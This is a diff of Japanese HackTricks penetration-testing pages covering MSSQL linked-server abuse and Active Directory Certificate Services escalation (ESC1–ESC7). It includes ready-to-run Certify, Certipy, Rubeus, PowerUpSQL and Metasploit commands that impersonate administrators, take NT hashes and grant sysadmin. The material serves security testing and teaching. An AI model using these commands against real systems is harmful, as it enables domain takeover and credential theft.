- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)でフォローする
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る
- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- **HackTricks**https://github.com/carlospolop/hacktricks[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>

View file

@ -2,23 +2,23 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)****
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **MSSQL列挙/発見**
PowerUpSQLというPowerShellモジュールは、この場合非常に便利です。
この場合、PowerUpSQLというPowerShellモジュールが非常に役立ちます。
```powershell
Import-Module .\PowerupSQL.psd1
```
@ -36,7 +36,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP Verbose Threads
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
```
### ドメイン内からの列挙
### ドメイン内からの列挙
```powershell
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
@ -84,9 +84,9 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
## MSSQL信頼されたリンク
もしMSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合ユーザーが信頼されたデータベースに権限を持っている場合、**信頼関係を使用して他のインスタンスでもクエリを実行できる**ようになります。これらの信頼関係は連鎖することができ、ユーザーはいくつかの構成ミスがあるデータベースを見つけてコマンドを実行できるかもしれません。
MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合ユーザーが信頼されたデータベースに権限を持っている場合、**信頼関係を使用して他のインスタンスでもクエリを実行できる**ようになります。この信頼関係は連鎖することができ、ユーザーはいくつかの構成ミスがあるデータベースを見つけてコマンドを実行できるかもしれません。
**データベース間のリンクは、フォレストトラストを超えて機能します。**
**データベース間のリンクは、フォレストトラストを超えて機能します。**
### Powershellの悪用
```powershell
@ -128,19 +128,15 @@ Metasploitを使用して簡単に信頼されたリンクをチェックでき
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
```
メタスプロイトはMSSQLの`openquery()`関数のみを悪用しようとします(つまり、`openquery()`でコマンドを実行できない場合は、コマンドを実行するために`EXECUTE`メソッドを**手動**で試す必要があります。詳細は以下を参照してください。)
### 手動 - Openquery()
**Linux**からは、**sqsh**と**mssqlclient.py**を使用してMSSQLコンソールシェルを取得できます。
**Windows**からは、[**HeidiSQL**](https://www.heidisql.com)のような**MSSQLクライアント**を使用してリンクを見つけ、コマンドを手動で実行することもできます。
**Windows**からは、[**HeidiSQL**](https://www.heidisql.com)のような**MSSQLクライアント**を使用してリンクを見つけ、コマンドを手動で実行できます。
_Windows認証を使用してログイン:_
![](<../../.gitbook/assets/image (805).png>)
#### 信頼できるリンクの検索
```sql
select * from master..sysservers;
EXEC sp_linkedservers;
@ -149,12 +145,12 @@ EXEC sp_linkedservers;
#### 信頼できるリンクでクエリを実行する
リンクを介してクエリを実行します(例:新しいアクセス可能なインスタンスでより多くのリンクを見つける)
リンクを介してクエリを実行します(例:新しいアクセス可能なインスタンスでより多くのリンクを見つける)
```sql
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
```
{% hint style="warning" %}
二重引用符と単一引用符の使用を確認してください。それをそのまま使用することが重要です。
二重引用符と単一引用符の使用方法を確認してください。その方法で使用することが重要です。
{% endhint %}
![](<../../.gitbook/assets/image (640).png>)
@ -177,8 +173,25 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
```
## ローカル特権昇格
**MSSQLローカルユーザー**は通常、**`SeImpersonatePrivilege`**と呼ばれる特別な特権を持っています。これにより、アカウントは「認証後にクライアントを模倣する」ことができます。
**MSSQLローカルユーザー**は通常、**`SeImpersonatePrivilege`**と呼ばれる特別な特権を持っています。これにより、アカウントは「認証後にクライアントを偽装する」ことができます。
多くの著者が考た戦略は、SYSTEMサービスを、攻撃者が作成したローグまたは中間者サービスに認証させることです。このローグサービスは、SYSTEMサービスが認証しようとしている間にSYSTEMサービスを模倣することができます。
多くの著者が考案した戦略は、SYSTEMサービスを、攻撃者が作成したローグまたは中間者サービスに認証させることです。このローグサービスは、SYSTEMサービスが認証しようとしている間にSYSTEMサービスを偽装することができます。
[SweetPotato](https://github.com/CCob/SweetPotato)には、Beaconの`execute-assembly`コマンドを介して実行できるこれらのさまざまなテクニックが収録されています。
[SweetPotato](https://github.com/CCob/SweetPotato)には、Beaconの`execute-assembly`コマンドを介して実行できるこれらのさまざまなテクニックが収集されています。
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>でゼロからヒーローまでAWSハッキングを学びましょう</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけ
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -28,24 +28,24 @@ HackTricks をサポートする他の方法:
### 説明
### 設定ミスの証明書テンプレート - ESC1 の説明
### 設定ミスの証明書テンプレート - ESC1の説明
* **エンタープライズCAによって低特権ユーザーに登録権限が付与されます。**
* **エンタープライズCAによって低特権ユーザーに登録権限が付与されます。**
* **マネージャーの承認は必要ありません。**
* **権限のある人物からの署名は必要ありません。**
* **証明書テンプレートのセキュリティ記述子が過度に許可されており、低特権ユーザーが登録権限を取得できます。**
* **証明書テンプレートは、認証を容易にするEKUを定義するように構成されています:**
* クライアント認証OID 1.3.6.1.5.5.7.3.2、PKINITクライアント認証1.3.6.1.5.2.3.4、スマートカードログオンOID 1.3.6.1.4.1.311.20.2.2、任意の目的OID 2.5.29.37.0、またはEKUなしSubCAなどの拡張キー使用EKU識別子が含まれています。
* **リクエスターが証明書署名リクエストCSRでsubjectAltNameを含めることを許可するテンプレート:**
* Active DirectoryADは、証明書のSANsubjectAltNameを優先して識別検証に使用します。これは、CSRでSANを指定することで、任意のユーザードメイン管理者を偽装するための証明書をリクエストできることを意味します。リクエスターがSANを指定できるかどうかは、証明書テンプレートのADオブジェクトを通じて`mspki-certificate-name-flag`プロパティで示されます。このプロパティはビットマスクであり、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`フラグの存在は、リクエスターがSANを指定できることを許可します。
* **証明書署名要求CSRでsubjectAltNameを含める能力がテンプレートで許可されています:**
* Active DirectoryADは、存在する場合は証明書のidentity verificationのために証明書内のsubjectAltNameSANを優先します。これは、CSRでSANを指定することで、証明書を要求して任意のユーザー(例:ドメイン管理者)を偽装することができることを意味します。リクエスターがSANを指定できるかどうかは、証明書テンプレートのADオブジェクトを通じて`mspki-certificate-name-flag`プロパティで示されます。このプロパティはビットマスクであり、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`フラグの存在はリクエスターによるSANの指定を許可します。
{% hint style="danger" %}
述べられた構成により、低特権ユーザーが任意のSANを持つ証明書をリクエストし、KerberosまたはSChannelを介して任意のドメインプリンシパルとして認証できるようになります。
構成により、低特権ユーザーが選択した任意のSANを持つ証明書を要求し、KerberosまたはSChannelを介して任意のドメインプリンシパルとして認証できます。
{% endhint %}
この機能は、製品や展開サービスによるHTTPSホスト証明書の即座の生成をサポートするために有効にされることがあります。または、理解不足によるものです。
この機能は、製品や展開サービスによるHTTPSまたはホスト証明書の即座の生成をサポートするために有効にされることがあります。または、理解不足によるものです。
このオプションを使用して証明書を作成すると、警告がトリガーされることがありますが、既存の証明書テンプレート`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`が有効になっている`WebServer`テンプレートなどを複製して認証OIDを含めて変更する場合は、そのようなことはありません。
このオプションを使用して証明書を作成すると、警告がトリガーされることがありますが、(`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`が有効になっている`WebServer`テンプレートなどの既存の証明書テンプレートを複製して認証OIDを含めるように変更する場合とは異なり警告が表示されません。
### 悪用
@ -54,7 +54,7 @@ HackTricks をサポートする他の方法:
Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
```
**この脆弱性を悪用して管理者になりすます** ために、次のコマンドを実行できます:
**この脆弱性を悪用して管理者になりすます** ために、次のコマンドを実行できます:
```bash
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
@ -79,14 +79,14 @@ AD Forestの構成スキーマ内の証明書テンプレートの列挙、特
1. 低特権ユーザーに対してエンタープライズCAによって登録権限が付与されています。
2. マネージャーの承認要件が無効になっています。
3. 承認された署名の必要性が省略されています。
4. 証明書テンプレートの過度に許可されたセキュリティ記述子により、低特権ユーザーに証明書の登録権限が付与されています。
4. 証明書テンプレートのセキュリティ記述子が過度に許可され、低特権ユーザーに証明書の登録権限が付与されています。
5. **証明書テンプレートにはAny Purpose EKUまたはEKUが含まれていません。**
**Any Purpose EKU**は、クライアント認証、サーバー認証、コード署名など**任意の目的**で証明書を取得できるようにします。このシナリオを悪用するためには、**ESC3で使用された技術**と同じ手法を使用できます。
**Any Purpose EKU**は、クライアント認証、サーバー認証、コード署名などを含む**任意の目的**で証明書を取得できるようにします。このシナリオを悪用するためには、**ESC3で使用される技術**と同じ手法が適用される可能性があります。
**EKUがない**証明書は、下位CA証明書として機能し、**任意の目的**で悪用され、**新しい証明書に署名する**こともできます。したがって、攻撃者は下位CA証明書を使用して新しい証明書に任意のEKUやフィールドを指定できます。
**EKUがない**証明書は、下位CA証明書として機能し、**任意の目的**で悪用され、**新しい証明書に署名するためにも使用できます**。したがって、攻撃者は下位CA証明書を利用して新しい証明書に任意のEKUやフィールドを指定できます。
ただし、**ドメイン認証**用に作成された新しい証明書は、**`NTAuthCertificates`**オブジェクトによって信頼されていない場合、機能しません。ただし、攻撃者は引き続き**任意のEKUと任意の証明書値**を指定して新しい証明書を作成できます。これらは、コード署名、サーバー認証などの目的に悪用され、SAML、AD FS、IPSecなどのネットワーク内の他のアプリケーションに重大な影響を与える可能性があります。
ただし、**ドメイン認証**用に作成された新しい証明書は、**`NTAuthCertificates`**オブジェクトによって信頼されていない場合、機能しません。ただし、攻撃者は引き続き**任意のEKUと任意の証明書値で新しい証明書を作成**できます。これらは、コード署名、サーバー認証などの目的に広範囲に**悪用**され、SAML、AD FS、IPSecなどのネットワーク内の他のアプリケーションに重大な影韓を及ぼす可能性があります。
このシナリオに一致するテンプレートをAD Forestの構成スキーマ内で列挙するには、次のLDAPクエリを実行できます
```
@ -104,23 +104,23 @@ AD Forestの構成スキーマ内の証明書テンプレートの列挙、特
**要件1:**
- 企業CAによって低特権ユーザーに登録権限が付与されています。
- マネージャー承認の要件が省略されています。
- 承認された署名の要件はありません。
- 証明書テンプレートのセキュリティ記述子が過度に許可されており、低特権ユーザーに登録権限が付与されています。
- 証明書テンプレートにはCertificate Request Agent EKUが含まれており、他の主体の代わりに他の証明書テンプレートのリクエストを可能にしています。
* 企業CAによって低特権ユーザーに登録権限が付与されています。
* マネージャー承認の要件が省略されています。
* 承認された署名の要件はありません。
* 証明書テンプレートのセキュリティ記述子が過剰に許可されており、低特権ユーザーに登録権限が付与されています。
* 証明書テンプレートにはCertificate Request Agent EKUが含まれており、他の主体の代わりに他の証明書テンプレートのリクエストを可能にしています。
**要件2:**
- 企業CAは低特権ユーザーに登録権限を付与します。
- マネージャーの承認がバイパスされます。
- テンプレートのスキーマバージョンは1または2を超えており、Certificate Request Agent EKUを必要とするApplication Policy Issuance Requirementが指定されています。
- 証明書テンプレートで定義されたEKUはドメイン認証を許可します。
- CAに登録エージェントの制限が適用されていません。
* 企業CAは低特権ユーザーに登録権限を付与します。
* マネージャーの承認がバイパスされます。
* テンプレートのスキーマバージョンは1であるか、2を超えており、Certificate Request Agent EKUを必要とするApplication Policy Issuance Requirementが指定されています。
* 証明書テンプレートで定義されたEKUはドメイン認証を許可します。
* CAに登録エージェントに対する制限が適用されていません。
### 悪用
[**Certify**](https://github.com/GhostPack/Certify)または[**Certipy**](https://github.com/ly4k/Certipy)を使用して、このシナリオを悪用できます。
このシナリオを悪用するには、[**Certify**](https://github.com/GhostPack/Certify)または[**Certipy**](https://github.com/ly4k/Certipy)を使用できます。
```bash
# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
@ -134,7 +134,7 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
**ユーザー**が**登録エージェント証明書**を取得できるように許可されている**ユーザー**、登録エージェントが登録を許可されている**テンプレート**、および登録エージェントが代理でアクションを起こす**アカウント**は、エンタープライズCAによって制限できます。これは、`certsrc.msc` **スナップイン**を開き、**CAを右クリック**して**プロパティをクリック**し、次に「登録エージェント」タブに移動することで実現されます。
**ユーザー**が**登録エージェント証明書**を取得できるように許可されている**ユーザー**、登録エージェントが登録を許可されている**テンプレート**、および登録エージェントが代理でアクションを起こす**アカウント**は、エンタープライズCAによって制限できます。これは、`certsrc.msc` **スナップイン**を開き、**CAを右クリック**して**プロパティ**をクリックし、次に「登録エージェント」タブに移動することで達成されます。
ただし、CAの**デフォルト**設定は「**登録エージェントを制限しない**」ことが指摘されています。管理者によって登録エージェントへの制限が有効になると、「登録エージェントを制限する」に設定すると、デフォルトの構成は非常に許可的なままです。これにより、**Everyone**が誰でもすべてのテンプレートに登録できるようになります。
@ -144,15 +144,15 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
**証明書テンプレート**の**セキュリティ記述子**は、テンプレートに関する特定の**ADプリンシパル**が持つ**権限**を定義します。
**攻撃者**が**テンプレート**を**変更**し、**前のセクション**で説明され**悪用可能なミス構成**を**導入**するために必要な**権限**を持っている場合、特権昇格が容易になります。
**攻撃者**が**テンプレート**を**変更**し、**前のセクション**で説明されている**悪用可能なミス構成**を**導入**するために必要な**権限**を持っている場合、特権昇格が容易になります。
証明書テンプレートに適用される注目すべき権限には次のものがあります:
* **Owner:** オブジェクトに対する暗黙の制御を付与し、任意の属性を変更できるようにします
* **FullControl:** オブジェクトに対する完全な権限を付与し、任意の属性を変更できるようにします
* **WriteOwner:** オブジェクトの所有者を攻撃者の制御下のプリンシパルに変更できるようにします
* **WriteDacl:** アクセス制御を調整し、攻撃者にFullControlを付与する可能性があります
* **WriteProperty:** 任意のオブジェクトプロパティを編集する権限を付与します
* **Owner:** オブジェクトに対する暗黙の制御を付与し、任意の属性を変更できる。
* **FullControl:** オブジェクトに対する完全な権限を付与し、任意の属性を変更できる。
* **WriteOwner:** オブジェクトの所有者を攻撃者の制御下のプリンシパルに変更できる。
* **WriteDacl:** アクセス制御を調整し、攻撃者にFullControlを付与する可能性があ
* **WriteProperty:** 任意のオブジェクトプロパティを編集する権限を承認する
### 悪用
@ -162,11 +162,11 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
ESC4は、ユーザーが証明書テンプレートに対する書き込み権限を持っている場合です。これは、たとえば証明書テンプレートの構成を上書きしてテンプレートをESC1に脆弱にするために悪用される可能性があります。
上記のパスで見られるように、これらの権限を持っているのは`JOHNPC`だけですが、私たちのユーザー`JOHN`は`JOHNPC`に新しい`AddKeyCredentialLink`エッジを持っています。このテクニックは証明書に関連しているため、[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)として知られるこの攻撃も実装しています。ここでは、Certipyの`shadow auto`コマンドを使用して被害者のNTハッシュを取得する方法を少し紹介します
上記のパスで見られるように、これらの権限を持っているのは`JOHNPC`だけですが、私たちのユーザー`JOHN`は`JOHNPC`に新しい`AddKeyCredentialLink`エッジを持っています。このテクニックは証明書に関連しているため、被害者のNTハッシュを取得するためにCertipyの`shadow auto`コマンドを実装しました
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
**Certipy**は1つのコマンドで証明書テンプレートの構成を上書きできます。**デフォルト**では、Certipyは構成を**ESC1に脆弱**にするように上書きします。攻撃後に構成を**復元**するために、**`-save-old`パラメータを指定**することもできます。
**Certipy**は1つのコマンドで証明書テンプレートの構成を上書きできます。**デフォルト**では、Certipyは構成を**ESC1に脆弱**にするように上書きします。攻撃後に構成を**復元**するために、**`-save-old`パラメータを指定**することもできます。
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -177,29 +177,29 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
```
## 脆弱なPKIオブジェクトアクセス制御 - ESC5
## 脆弱なPKIオブジェクトアクセス制御 - ESC5
### 説明
証明書テンプレートや証明書機関以外の複数のオブジェクトを含むACLベースの相互接続された複雑な関係は、AD CSシステム全体のセキュリティに影響を与える可能性があります。セキュリティに大きな影響を与えるこれらのオブジェクトには、次のものが含まれます
証明書テンプレートや認証局を超えた複数のオブジェクトを含むACLベースの相互関係の広範なウェブは、AD CSシステム全体のセキュリティに影響を与える可能性があります。セキュリティに大きな影響を与えるこれらのオブジェクトには、次のものが含まれます
- CAサーバーのADコンピュータオブジェクト。これはS4U2SelfやS4U2Proxyなどのメカニズムを介して侵害される可能性があります。
- CAサーバーのRPC/DCOMサーバー。
- 特定のコンテナパス`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`内の任意の子孫ADオブジェクトまたはコンテナ。このパスには、証明書テンプレートコンテナ、認証機関コンテナ、NTAuthCertificatesオブジェクト、Enrollment Servicesコンテナなどが含まれます。
* CAサーバーのADコンピュータオブジェクトはS4U2SelfやS4U2Proxyなどのメカニズムを介して侵害される可能性があります。
* CAサーバーのRPC/DCOMサーバー。
* 特定のコンテナパス`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`内の任意の子孫ADオブジェクトまたはコンテナ。このパスには、証明書テンプレートコンテナ、認証コンテナ、NTAuthCertificatesオブジェクト、およびEnrollment Servicesコンテナなどのコンテナやオブジェクトが含まれます。
低特権の攻撃者がこれらの重要なコンポーネントのいずれかを制御できる場合、PKIシステムのセキュリティが危険にさらされる可能性があります。
PKIシステムのセキュリティは、低特権の攻撃者がこれらの重要なコンポーネントのいずれかを制御できる場合危険にさらされる可能性があります。
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
### 説明
[CQure Academyの投稿](https://cqureacademy.com/blog/enhanced-key-usage)で議論されている主題は、Microsoftによって概説された**`EDITF_ATTRIBUTESUBJECTALTNAME2`**フラグの影響に触れています。この構成は、認証機関CAで有効になっている場合、**ユーザー定義の値**を**サブジェクト代替名**に含めることを許可します。これには、Active Directory®から構築されたリクエストを含む**任意のリクエスト**が含まれます。したがって、この構成により、**侵入者**がドメイン**認証**向けに設定された**任意のテンプレート**を介して登録できるようになります。特に、標準のユーザーテンプレートのような**特権のない**ユーザー登録が可能なものです。その結果、証明書を取得し、侵入者がドメイン管理者やドメイン内の**他のアクティブなエンティティ**として認証できるようになります。
[CQure Academyの投稿](https://cqureacademy.com/blog/enhanced-key-usage)で議論されている主題は、Microsoftによって概説された**`EDITF_ATTRIBUTESUBJECTALTNAME2`**フラグの影響にも触れています。この構成は、認証局CAで有効になっている場合、**ユーザー定義の値**を**サブジェクト代替名**に含めることを許可し、Active Directory®から構築されたリクエストを含む**任意のリクエスト**に対応します。したがって、この構成により、**侵入者**がドメイン**認証**向けに設定された**任意のテンプレート**(特に権限のないユーザーが利用できる標準ユーザーテンプレートなど)を介して登録できるようになります。その結果、証明書を取得し、侵入者がドメイン管理者やドメイン内の**他のアクティブなエンティティ**として認証できるようになります。
**注意**: `certreq.exe`の`-attrib "SAN:"`引数を介して証明書署名リクエストCSRに**代替名**を追加するアプローチ「名前値ペア」と呼ばれるは、ESC1でSANの悪用戦略とは異なります。ここでは、アカウント情報がどのようにカプセル化されるかに違いがあります。証明書属性内に、拡張子ではなくアカウント情報が含まれています。
**注意**: `certreq.exe`の`-attrib "SAN:"`引数を介して証明書署名リクエストCSRに**代替名**を追加するアプローチ「名前値ペア」と呼ばれるは、ESC1でSANの悪用戦略とは異なります。ここでは、アカウント情報が拡張子ではなく証明書属性内にカプセル化される点が異なります。
###
###
設定が有効になっているかどうかを確認するために、組織は`certutil.exe`を使用して次のコマンドを利用できます:
設定が有効化されているかどうかを確認するために、組織は`certutil.exe`を使用して次のコマンドを利用できます:
```bash
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
```
@ -207,7 +207,7 @@ certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
```bash
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```
ツール[**Certify**](https://github.com/GhostPack/Certify)や[**Certipy**](https://github.com/ly4k/Certipy)は、このミス構成を検出し、悪用することができます:
ツール[**Certify**](https://github.com/GhostPack/Certify)や[**Certipy**](https://github.com/ly4k/Certipy)は、このミス構成を検出し、それを悪用することができます。
```bash
# Detect vulnerabilities, including this one
Certify.exe find
@ -216,17 +216,17 @@ Certify.exe find
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
```
これらの設定を変更するには、**ドメイン管理者**権限または同等の権限を持っていると仮定して、次のコマンドを任意のワークステーションから実行できます
これらの設定を変更するには、**ドメイン管理者**権限または同等の権限を持っていると仮定して、次のコマンドを任意のワークステーションから実行できます:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
この構成を無効にするには、次のようにフラグを削除できます
この構成を無効にするには、次のようにフラグを削除できます:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
{% hint style="warning" %}
2022年5月のセキュリティ更新プログラムの後、新しく発行される**証明書**には、**セキュリティ拡張機能**が含まれ、**要求者の`objectSid`プロパティ**が組み込まれます。ESC1の場合、このSIDは指定されたSANから派生します。しかし、**ESC6**の場合、SIDはSANではなく、**要求者の`objectSid`**を反映します。\
ESC6を悪用するには、**SANよりも新しいセキュリティ拡張機能を優先する**ESC10弱い証明書マッピングにシステムが影響を受けやすいことが不可欠です。
2022年5月のセキュリティ更新プログラムの後、新しく発行される**証明書**には、**リクエスターの`objectSid`プロパティ**を組み込んだ**セキュリティ拡張機能**が含まれます。ESC1の場合、このSIDは指定されたSANから派生します。しかし、**ESC6**の場合、SIDはSANではなく、**リクエスターの`objectSid`**を反映します。\
ESC6を悪用するには、**新しいセキュリティ拡張機能よりもSANを優先する**ESC10弱い証明書マッピングにシステムが影響を受けやすいことが不可欠です。
{% endhint %}
## 脆弱な証明書機関アクセス制御 - ESC7
@ -235,19 +235,19 @@ ESC6を悪用するには、**SANよりも新しいセキュリティ拡張機
#### 説明
